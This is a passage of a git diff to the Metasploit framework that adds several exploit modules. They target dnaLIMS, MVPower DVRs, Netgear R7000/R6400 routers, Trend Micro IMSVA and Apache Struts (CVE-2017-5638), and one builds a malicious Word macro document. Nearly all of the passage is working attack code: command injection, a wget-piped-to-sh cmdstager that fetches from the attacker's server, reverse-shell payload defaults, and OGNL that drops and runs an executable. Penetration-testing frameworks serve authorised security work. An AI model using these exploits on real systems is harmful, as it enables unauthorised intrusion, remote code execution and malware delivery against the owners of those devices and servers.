'7', + 'end_day_month' => '31', + 'end_month' => '12', + 'actions[]' => action_id, + 'sim' => '1', + 'priority' => '1', + 'qualify' => '1', + 'correlate' => '0', + 'cross_correlate' => '0', + 'store' => '0' + } + }) + + if res && res.code == 200 + print_good("Policy created: #{policy}") + else + fail_with(Failure::Unknown, "Unable to create policy id") + end + + # We gotta reload all policies in order to make our rogue one enabled. + print_status("Activating the policy") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => cookie, + 'headers' => { + 'X-Forwarded-For' => rhost.to_s, + }, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_good("Rogue policy activated") + else + fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy") + end + + # We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-) + factory = ssh_socket_factory + opts = { + auth_methods: ['password'], + port: 22, + use_agent: false, + config: false, + password: rand_text_alpha(15), + proxy: factory, + non_interactive: true + } + + print_status("Triggering the policy by performing SSH login attempt") + + begin + Net::SSH.start(rhost, "root", opts) + rescue Net::SSH::AuthenticationFailed + print_good("SSH - Failed authentication. That means our policy and action will be trigged..!") + rescue Net::SSH::Exception => e + print_error("SSH Error: #{e.class} : #{e.message}") + return nil + end + + end +end diff --git a/modules/exploits/linux/http/dnalims_admin_exec.rb b/modules/exploits/linux/http/dnalims_admin_exec.rb new file mode 100644 index 0000000000..dd4c92822a --- /dev/null +++ b/modules/exploits/linux/http/dnalims_admin_exec.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'dnaLIMS Admin Module Command Execution', + 'Description' => %q{ + This module utilizes an administrative module which allows for + command execution. This page is completely unprotected from any + authentication when given a POST request. + }, + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit ' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2017-6526'], + ['US-CERT-VU', '929263'], + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Platform' => %w( linux unix ), + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'Compat' => + { + 'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there + } + }, + 'Targets' => + [ + [ 'Automatic Target', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 8 2017' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => 'perl -V' + } + ) + if res && res.body + if /Summary of/ =~ res.body + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + vprint_status('Sending Exploit') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'investigator' => '', + 'username' => '', + 'navUserName' => '', + 'Action' => 'executeCmd', + 'executeCmdData' => payload.encoded, + } + ) + vprint_good(res.body) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end + + diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb new file mode 100644 index 0000000000..dc2ecb8c44 --- /dev/null +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] } + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MVPower DVR Shell Unauthenticated Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution + vulnerability in MVPower digital video recorders. The 'shell' file + on the web interface executes arbitrary operating system commands in + the query string. + + This module was tested successfully on a MVPower model TV-7104HE with + firmware version 1.8.4 115215B9 (Build 2014/11/17). + + The TV-7108HE model is also reportedly affected, but untested. + }, + 'Author' => + [ + 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC + 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => + [ + # Comment from Paul Davies contains probably the first published PoC + [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], + # Writeup with PoC by Andrew Tierney from Pen Test Partners + [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] + ], + 'DisclosureDate' => 'Aug 23 2015', + 'Privileged' => true, # BusyBox + 'Arch' => ARCH_ARMLE, + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp', + 'CMDSTAGER::FLAVOR' => 'wget' + }, + 'Targets' => + [ + ['Automatic', {}] + ], + 'CmdStagerFlavor' => %w{ echo printf wget }, + 'DefaultTarget' => 0)) + end + + def check + begin + fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/shell', + 'query' => "echo+#{fingerprint}", + 'headers' => { 'Connection' => 'Keep-Alive' } + ) + if res && res.body.include?(fingerprint) + return CheckCode::Vulnerable + end + rescue ::Rex::ConnectionError + return CheckCode::Unknown + end + CheckCode::Safe + end + + def execute_command(cmd, opts) + begin + send_request_cgi( + 'uri' => '/shell', + 'query' => Rex::Text.uri_encode(cmd, 'hex-all'), + 'headers' => { 'Connection' => 'Keep-Alive' } + ) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def exploit + print_status("#{peer} - Connecting to target") + + unless check == CheckCode::Vulnerable + fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") + end + + print_good("#{peer} - Target is vulnerable!") + + execute_cmdstager(linemax: 1500) + end +end diff --git a/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb new file mode 100644 index 0000000000..218d39513d --- /dev/null +++ b/modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", + 'Description' => %q{ + This module exploits an arbitrary command injection vulnerability in + Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. + }, + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Author' => ['thecarterb', 'Acew0rm'], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Arch' => ARCH_ARMLE, + 'Targets' => [ + [ 'Automatic Target', { } ] + ], + 'References' => + [ + [ 'EDB', '40889'], + [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], + [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], + [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], + [ 'CVE', '2016-6277'] + ], + 'DisclosureDate' => 'Dec 06 2016', + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' + } + )) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + + deregister_options('URIPATH') + end + + def scrape(text, start_trig, end_trig) + text[/#{start_trig}(.*?)#{end_trig}/m, 1] + end + + # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected + def check + res = send_request_cgi({'uri'=>'/'}) + if res.nil? + fail_with(Failure::Unreachable, 'Connection timed out.') + end + # Checks for the `WWW-Authenticate` header in the response + if res.headers["WWW-Authenticate"] + data = res.to_s + marker_one = "Basic realm=\"NETGEAR " + marker_two = "\"" + model = scrape(data, marker_one, marker_two) + vprint_status("Router is a NETGEAR router (#{model})") + if model == 'R7000' || model == 'R6400' + print_good("Router may be vulnerable (NETGEAR #{model})") + return CheckCode::Detected + else + return CheckCode::Safe + end + else + print_error('Router is not a NETGEAR router') + return CheckCode::Safe + end + end + + def exploit + return if check == CheckCode::Safe + + @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';') + + send_request_cgi( + 'method' => 'GET', + 'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh" + ) + end + + # Return CmdStager on first request, payload on second + def on_request_uri(cli, request) + if @cmdstager + send_response(cli, @cmdstager) + @cmdstager = nil + else + super + end + end + +end diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index 59f6704439..4bc6cf2b09 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -104,7 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote def check begin res = send_request_cgi({ - 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 + 'method' => 'GET', + 'uri' => '/globe' }) rescue ::Rex::ConnectionError vprint_error("#{peer} - A connection error has occured") diff --git a/modules/exploits/linux/http/trend_micro_imsva_exec.rb b/modules/exploits/linux/http/trend_micro_imsva_exec.rb new file mode 100644 index 0000000000..2b9bc1009a --- /dev/null +++ b/modules/exploits/linux/http/trend_micro_imsva_exec.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability in the Trend Micro + IMSVA product. An authenticated user can execute a terminal command under + the context of the web server user which is root. Besides, default installation + of IMSVA comes with a default administrator credentials. + + saveCert.imss endpoint takes several user inputs and performs blacklisting. + After that it use them as argument of predefined operating system command + without proper sanitation. However,due to improper blacklisting rule it's possible to inject + arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. + + This module was tested against IMSVA 9.1-1600. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # discovery & msf module + ], + 'References' => + [ + ['CVE', '2017-6398'], + ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/'] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x2f\x22" + }, + 'DefaultOptions' => + { + 'SSL' => true, + 'payload' => 'python/meterpreter/reverse_tcp', + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Jan 15 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']), + OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]), + Opt::RPORT(8445) + ] + ) + end + + def login + + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + print_status("Attempting to login with #{user}:#{pass}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.imss'), + 'vars_post' => { + 'userid' => user, + 'pwdfake' => Rex::Text::encode_base64(pass) + } + }) + + if res && res.body.include?("The user name or password you entered is invalid") + fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...") + end + + cookie = res.get_cookies + if res.code == 302 && cookie.include?("JSESSIONID") + jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first + print_good("Authenticated as #{user}:#{pass}") + return jsessionid + end + + nil + end + + def exploit + + jsessionid = login + + unless jsessionid + fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID') + end + + # Somehow java stores last visited url on session like viewstate! + # Visit form before submitting it. Otherwise, it will cause a crash. + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'initCert.imss'), + 'cookie' => "JSESSIONID=#{jsessionid}" + }) + + if !res or !res.body.include?("Transport Layer Security") + fail_with(Failure::Unknown, 'Unable to visit initCert.imss') + end + + # Random string that will be used as a cert name, state, email etc. + r = Rex::Text::rand_text_alphanumeric(5) + + print_status("Delivering payload...") + + # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!! + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'saveCert.imss'), + 'cookie' => "JSESSIONID=#{jsessionid}", + 'vars_get' => { + 'mode' => 0 + }, + 'vars_post' => { + 'certName' => r, + 'certType' => 0, + 'keyLength' => 2048, + 'countryCode' => 'TR', + 'state' => r, + 'locality' => r, + 'org' => r, + 'orgUnit' => r, + 'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #", + 'emailAddress' => "#{r}@mail.com", + 'validDays' => '', + 'id' => '', + } + }) + end + +end diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index ef0b02f918..fc18afde45 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -98,7 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ - 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), + 'uri' => '/cgi-bin/index.asp', + 'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb new file mode 100644 index 0000000000..7e8f4406c3 --- /dev/null +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Macro Execution", + 'Description' => %q{ + This module generates a macro-enabled Microsoft Office Word document. The comments + metadata in the data is injected with a Base64 encoded payload, which will be + decoded by the macro and execute as a Windows executable. + + For a successful attack, the victim is required to manually enable macro execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Targets' => + [ + [ + 'Microsoft Office Word on Windows', + { + 'Platform' => 'win', + } + ], + [ + 'Microsoft Office Word on Mac OS X (Python)', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2012" + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', + 'Contents of this document are protected. Please click Enable Content to continue.' + ]), + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + ], self.class) + end + + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /document\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /core\.xml/ + p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe + b64_payload = ' ' * 55 + b64_payload << Rex::Text.encode_base64(p) + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + end + + # The original filename of __rels is actually ".rels". + # But for some reason if that's our original filename, it won't be included + # in the archive. So this hacks around that. + case short_fname + when /__rels/ + short_fname.gsub!(/\_\_rels/, '.rels') + end + + yield short_fname, buf + end + + + def package_docm(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our docm file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index a5d142906b..4fabf1b337 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -114,6 +114,9 @@ class MetasploitModule < Msf::Exploit::Remote create_arg("-d",'disable_functions=""'), create_arg("-d","open_basedir=none"), create_arg("-d","auto_prepend_file=php://input"), + create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"), + create_arg("-d", "cgi.redirect_status_env=0"), + create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"), rand_opt_equiv("-n") ] diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index cb6d0a8360..4f2f04081b 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => datastore['HTTP_METHOD'], }, 25) if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if match diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb new file mode 100644 index 0000000000..6b7b959950 --- /dev/null +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -0,0 +1,229 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', + 'Description' => %q{ + This module exploits a remote code execution vunlerability in Apache Struts + version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed + via http Content-Type header. + + Native payloads will be converted to executables and dropped in the + server's temp dir. If this fails, try a cmd/* payload, which won't + have to write to the disk. + }, + 'Author' => [ + 'Nike.Zheng', # PoC + 'Nixawk', # Metasploit module + 'Chorder', # Metasploit module + 'egypt', # combining the above + 'Jeffrey Martin', # Java fu + ], + 'References' => [ + ['CVE', '2017-5638'], + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Universal', { + 'Platform' => %w{ unix windows linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + ], + 'DisclosureDate' => 'Mar 07 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), + ] + ) + register_advanced_options( + [ + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + ] + ) + + @data_header = "X-#{rand_text_alpha(4)}" + end + + def check + var_a = rand_text_alpha_lower(4) + + ognl = "" + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| + ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| + + begin + resp = send_struts_request(ognl) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.headers[var_a] + vprint_good("Victim operating system: #{resp.headers[var_a]}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + case payload.arch.first + #when ARCH_JAVA + # datastore['LHOST'] = nil + # resp = send_payload(payload.encoded_jar) + when ARCH_CMD + resp = execute_command(payload.encoded) + else + resp = send_payload(generate_payload_exe) + end + + require'pp' + pp resp.headers if resp + end + + def send_struts_request(ognl, extra_header: '') + uri = normalize_uri(datastore["TARGETURI"]) + content_type = "%{(#_='multipart/form-data')." + content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + content_type << "(#_memberAccess?" + content_type << "(#_memberAccess=#dm):" + content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + content_type << "(#ognlUtil.getExcludedPackageNames().clear())." + content_type << "(#ognlUtil.getExcludedClasses().clear())." + content_type << "(#context.setMemberAccess(#dm))))." + content_type << ognl + content_type << "}" + + headers = { 'Content-Type' => content_type } + if extra_header + headers[@data_header] = extra_header + end + + #puts content_type.gsub(").", ").\n") + #puts + + resp = send_request_cgi( + 'uri' => uri, + 'method' => datastore['HTTPMethod'], + 'headers' => headers + ) + + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def execute_command(cmd) + ognl = '' + ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| + + # You can add headers to the server's response for debugging with this: + #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + #ognl << %q|(#r.addHeader('decoded',#cmd)).| + + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| + ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| + ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| + ognl << %q|(#p.redirectErrorStream(true)).| + ognl << %q|(#process=#p.start())| + + send_struts_request(ognl, extra_header: cmd) + end + + def send_payload(exe) + + ognl = "" + ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| + ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).| + #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| + ognl << %q|(#f.setExecutable(true)).| + ognl << %q|(#f.deleteOnExit()).| + ognl << %q|(#fos=new java.io.FileOutputStream(#f)).| + + # Using stuff from the sun.* package here means it likely won't work on + # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to + # work and I don't see a better way of getting binary data onto the + # system. =/ + ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| + ognl << %q|(#fos.write(#d)).| + ognl << %q|(#fos.close()).| + + ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| + ognl << %q|(#p.start()).| + ognl << %q|(#f.delete())| + + send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) + end + +end + +=begin +Doesn't work: + + ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| + ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| + ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).| + ognl << %q|(#r.addHeader('meth',#m.toGenericString())).| + ognl << %q|(#m.invoke(null,null)).| + + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed + #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 + + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f + #ognl 